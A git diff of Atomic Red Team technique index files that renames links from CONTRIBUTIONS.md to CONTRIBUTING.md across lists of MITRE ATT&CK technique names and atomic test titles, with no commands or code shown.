Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1169 Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1206 Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # discovery - [T1087 Account Discovery](./T1087/T1087.md) @@ -308,8 +308,8 @@ - Atomic Test #4: List opened files by user [linux, macos] - Atomic Test #5: Show if a user account has ever logger in remotely [linux, macos] - Atomic Test #6: Enumerate Groups and users [linux, macos] -- [T1010 Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1217 Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1010 Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1217 Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1083 File and Directory Discovery](./T1083/T1083.md) - Atomic Test #1: File and Directory Discovery [windows] - Atomic Test #2: nix file and diectory discovery [macos, linux] @@ -318,8 +318,8 @@ - Atomic Test #1: Scan a bunch of ports to see if they are open [linux, macos] - [T1135 Network Share Discovery](./T1135/T1135.md) - Atomic Test #1: Network Share Discovery [macos, linux] -- [T1201 Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1120 Peripheral Device Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1201 Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1120 Peripheral Device Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1069 Permission Groups Discovery](./T1069/T1069.md) - Atomic Test #1: Permission Groups Discovery [macos, linux] - [T1057 Process Discovery](./T1057/T1057.md) @@ -343,7 +343,7 @@ - [T1016 System Network Configuration Discovery](./T1016/T1016.md) - Atomic Test #1: System Network Configuration Discovery [windows] - Atomic Test #2: System Network Configuration Discovery [macos, linux] -- [T1049 System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1049 System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1033 System Owner/User Discovery](./T1033/T1033.md) - Atomic Test #1: System Owner/User Discovery [windows] - Atomic Test #2: System Owner/User Discovery [linux, macos] @@ -366,26 +366,26 @@ - Atomic Test #4: Registry dump of SAM, creds, and secrets [windows] - [T1081 Credentials in Files](./T1081/T1081.md) - Atomic Test #1: Browser and System credentials [macos] -- [T1214 Credentials in Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1212 Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1187 Forced Authentication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1214 Credentials in Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1212 Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1187 Forced Authentication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1179 Hooking](./T1179/T1179.md) - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] - [T1056 Input Capture](./T1056/T1056.md) - Atomic Test #1: Input Capture [windows] - [T1141 Input Prompt](./T1141/T1141.md) - Atomic Test #1: Prompt User for Password [macos] -- [T1208 Kerberoasting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1208 Kerberoasting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1142 Keychain](./T1142/T1142.md) - Atomic Test #1: Keychain [macos] -- [T1171 LLMNR/NBT-NS Poisoning](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1040 Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1174 Password Filter DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1171 LLMNR/NBT-NS Poisoning](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1040 Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1174 Password Filter DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1145 Private Keys](./T1145/T1145.md) - Atomic Test #1: Private Keys [windows] -- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1167 Securityd Memory](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1111 Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1167 Securityd Memory](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1111 Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # execution - [T1155 AppleScript](./T1155/T1155.md) @@ -394,16 +394,16 @@ - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] - [T1059 Command-Line Interface](./T1059/T1059.md) - Atomic Test #1: Command-Line Interface [macos, centos, ubuntu, linux] -- [T1196 Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1196 Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1173 Dynamic Data Exchange](./T1173/T1173.md) - Atomic Test #1: Execute Commands [windows] -- [T1106 Execution through API](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1129 Execution through Module Load](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1203 Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1061 Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1106 Execution through API](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1129 Execution through Module Load](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1203 Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1061 Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1118 InstallUtil](./T1118/T1118.md) - Atomic Test #1: InstallUtil uninstall method call [windows] -- [T1177 LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1177 LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1152 Launchctl](./T1152/T1152.md) - Atomic Test #1: Launchctl [macos] - [T1168 Local Job Scheduling](./T1168/T1168.md) @@ -430,19 +430,19 @@ - Atomic Test #1: At.exe Scheduled task [windows] - Atomic Test #2: Scheduled task Local [windows] - Atomic Test #3: Scheduled task Remote [windows] -- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1035 Service Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1218 Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1216 Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1153 Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1035 Service Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1218 Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1216 Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1153 Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1151 Space after Filename](./T1151/T1151.md) - Atomic Test #1: Space After Filename [macos] -- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1154 Trap](./T1154/T1154.md) - Atomic Test #1: Trap [macos, centos, ubuntu, linux] - [T1127 Trusted Developer Utilities](./T1127/T1127.md) - Atomic Test #1: MSBuild Bypass Using Inline Tasks [windows] -- [T1204 User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1204 User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1047 Windows Management Instrumentation](./T1047/T1047.md) - Atomic Test #1: WMI Reconnaissance Users [windows] - Atomic Test #2: WMI Reconnaissance Processes [windows] @@ -457,26 +457,26 @@ # lateral-movement - [T1155 AppleScript](./T1155/T1155.md) - Atomic Test #1: AppleScript [macos] -- [T1017 Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1175 Distributed Component Object Model](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1210 Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1017 Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1175 Distributed Component Object Model](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1210 Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1037 Logon Scripts](./T1037/T1037.md) - Atomic Test #1: Logon Scripts [windows] - Atomic Test #2: Logon Scripts - Mac [macos] - [T1075 Pass the Hash](./T1075/T1075.md) - Atomic Test #1: Mimikatz Pass the Hash [windows] - Atomic Test #2: Mimikatz Kerberos Ticket Attack [windows] -- [T1097 Pass the Ticket](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1097 Pass the Ticket](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1076 Remote Desktop Protocol](./T1076/T1076.md) - Atomic Test #1: RDP [windows] - [T1105 Remote File Copy](./T1105/T1105.md) - Atomic Test #1: xxxx [linux, macos] -- [T1021 Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1184 SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1051 Shared Webroot](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1080 Taint Shared Content](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1021 Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1184 SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1051 Shared Webroot](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1080 Taint Shared Content](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1077 Windows Admin Shares](./T1077/T1077.md) - Atomic Test #1: TODO [windows] - [T1028 Windows Remote Management](./T1028/T1028.md) @@ -497,23 +497,23 @@ - Atomic Test #2: PowerShell [windows] - [T1074 Data Staged](./T1074/T1074.md) - Atomic Test #1: Stage data from Discovery.bat [windows] -- [T1213 Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1005 Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1039 Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1025 Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1114 Email Collection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1213 Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1005 Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1039 Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1025 Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1114 Email Collection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1056 Input Capture](./T1056/T1056.md) - Atomic Test #1: Input Capture [windows] -- [T1185 Man in the Browser](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1185 Man in the Browser](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1113 Screen Capture](./T1113/T1113.md) - Atomic Test #1: Screencapture [macos] - Atomic Test #2: Screencapture (silent) [macos] - Atomic Test #3: X Windows Capture [linux] - Atomic Test #4: Import [linux] -- [T1125 Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1125 Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # exfiltration -- [T1020 Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1020 Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1002 Data Compressed](./T1002/T1002.md) - Atomic Test #1: Compress Data for Exfiltration With PowerShell [windows] - Atomic Test #2: Compress Data for Exfiltration With Rar [windows] @@ -526,44 +526,44 @@ - Atomic Test #1: Exfiltration Over Alternative Protocol - SSH [macos, centos, ubuntu, linux] - Atomic Test #2: Exfiltration Over Alternative Protocol - SSH [macos, centos, ubuntu, linux] - Atomic Test #3: Exfiltration Over Alternative Protocol - HTTP [macos, centos, ubuntu, linux] -- [T1041 Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1011 Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1052 Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1029 Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1041 Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1011 Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1052 Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1029 Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # command-and-control -- [T1043 Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1092 Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1090 Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1094 Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1024 Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1132 Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1001 Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1172 Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1008 Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1104 Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1188 Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1026 Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1079 Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1219 Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1043 Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1092 Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1090 Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1094 Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1024 Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1132 Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1001 Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1172 Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1008 Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1104 Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1188 Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1026 Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1079 Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1219 Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1105 Remote File Copy](./T1105/T1105.md) - Atomic Test #1: xxxx [linux, macos] -- [T1071 Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1032 Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1095 Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1065 Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1071 Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1032 Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1095 Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1065 Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # initial-access -- [T1189 Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1190 Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1200 Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1193 Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1192 Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1194 Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1195 Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1199 Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1189 Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1190 Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1200 Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1193 Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1192 Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1194 Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1195 Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1199 Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) diff --git a/atomics/linux-index.md b/atomics/linux-index.md index 4f199149..cc240de9 100644 --- a/atomics/linux-index.md +++ b/atomics/linux-index.md @@ -2,7 +2,7 @@ # persistence - [T1156 .bash_profile and .bashrc](./T1156/T1156.md) - Atomic Test #1: .bash_profile and .bashrc [macos, linux] -- [T1067 Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1067 Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1176 Browser Extensions](./T1176/T1176.md) - Atomic Test #1: Chrome (Developer Mode) [linux, windows, macos] - Atomic Test #2: Chrome (Chrome Web Store) [linux, windows, macos] @@ -14,16 +14,16 @@ - Atomic Test #3: Hidden file [macos, linux] - Atomic Test #7: Create visible Directories [macos, linux] - Atomic Test #8: Create hidden directories and files [macos, linux] -- [T1215 Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1215 Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1168 Local Job Scheduling](./T1168/T1168.md) - Atomic Test #1: Cron Job [macos, centos, ubuntu, linux] - Atomic Test #2: Cron Job [macos, centos, ubuntu, linux] -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1154 Trap](./T1154/T1154.md) - Atomic Test #1: Trap [macos, centos, ubuntu, linux] -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # discovery - [T1087 Account Discovery](./T1087/T1087.md) @@ -33,13 +33,13 @@ - Atomic Test #4: List opened files by user [linux, macos] - Atomic Test #5: Show if a user account has ever logger in remotely [linux, macos] - Atomic Test #6: Enumerate Groups and users [linux, macos] -- [T1217 Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1217 Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1083 File and Directory Discovery](./T1083/T1083.md) - Atomic Test #2: nix file and diectory discovery [macos, linux] - Atomic Test #3: nix file and diectory discovery [macos, linux] - [T1046 Network Service Scanning](./T1046/T1046.md) - Atomic Test #1: Scan a bunch of ports to see if they are open [linux, macos] -- [T1201 Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1201 Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1069 Permission Groups Discovery](./T1069/T1069.md) - Atomic Test #1: Permission Groups Discovery [macos, linux] - [T1057 Process Discovery](./T1057/T1057.md) @@ -52,35 +52,35 @@ - Atomic Test #3: List OS Information [linux, macos] - [T1016 System Network Configuration Discovery](./T1016/T1016.md) - Atomic Test #2: System Network Configuration Discovery [macos, linux] -- [T1049 System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1049 System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1033 System Owner/User Discovery](./T1033/T1033.md) - Atomic Test #2: System Owner/User Discovery [linux, macos] # lateral-movement -- [T1017 Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1210 Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1017 Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1210 Exploitation of Remote 